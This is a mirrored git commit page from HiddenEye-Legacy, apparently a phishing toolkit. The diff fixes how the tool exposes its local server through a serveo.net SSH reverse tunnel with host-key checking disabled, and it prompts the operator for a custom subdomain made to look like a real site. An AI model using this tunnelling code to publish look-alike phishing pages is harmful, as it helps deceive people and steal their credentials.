mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Serveo custom url fixed
This commit is contained in:
parent
a9a9f5cd8d
commit
57f4e272a8
|
@ -7,7 +7,6 @@
|
||||||
|
|
||||||
|
|
||||||
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO, ZipFile, run_command, url_request, run_background_command, wait, ngrok, ngrok_conf, requests, regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path, pathlib_Path
|
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO, ZipFile, run_command, url_request, run_background_command, wait, ngrok, ngrok_conf, requests, regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path, pathlib_Path
|
||||||
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
||||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||||
|
@ -155,7 +154,6 @@ def start_serveo(port):
|
||||||
print(localization.lang_start_serveo[
|
print(localization.lang_start_serveo[
|
||||||
"serveo_url"] + url + default_palette[4])
|
"serveo_url"] + url + default_palette[4])
|
||||||
except CalledProcessError:
|
except CalledProcessError:
|
||||||
|
|
||||||
wait(4)
|
wait(4)
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
return random(port)
|
return random(port)
|
||||||
|
@ -169,21 +167,14 @@ def start_serveo(port):
|
||||||
print(localization.lang_start_serveo[
|
print(localization.lang_start_serveo[
|
||||||
"make_url_simmilar_to_real_suggestion"])
|
"make_url_simmilar_to_real_suggestion"])
|
||||||
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||||
|
|
||||||
lnk = input(global_localization.input_line)
|
lnk = input(global_localization.input_line)
|
||||||
if not ".serveo.net" in lnk:
|
run_background_command(
|
||||||
lnk += ".serveo.net"
|
|
||||||
else:
|
|
||||||
pass
|
|
||||||
run_command(
|
|
||||||
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
|
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
|
||||||
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
|
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
|
||||||
stderr=DEVNULL)
|
stderr=DEVNULL)
|
||||||
|
lnk += ".serveousercontent.com"
|
||||||
wait(7)
|
wait(7)
|
||||||
try:
|
try:
|
||||||
output = check_output(
|
|
||||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
|
||||||
url = output.decode("utf-8")
|
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
print(global_localization.hidden_eye_logo)
|
print(global_localization.hidden_eye_logo)
|
||||||
print(global_localization.official_website_link)
|
print(global_localization.official_website_link)
|
||||||
|
@ -194,7 +185,7 @@ def start_serveo(port):
|
||||||
print(localization.lang_start_localhost[
|
print(localization.lang_start_localhost[
|
||||||
"localhost_url"] + '127.0.0.1:' + port)
|
"localhost_url"] + '127.0.0.1:' + port)
|
||||||
print(localization.lang_start_serveo[
|
print(localization.lang_start_serveo[
|
||||||
"serveo_url"] + url + default_palette[4])
|
"serveo_url"] + lnk + default_palette[4])
|
||||||
|
|
||||||
print("\n")
|
print("\n")
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user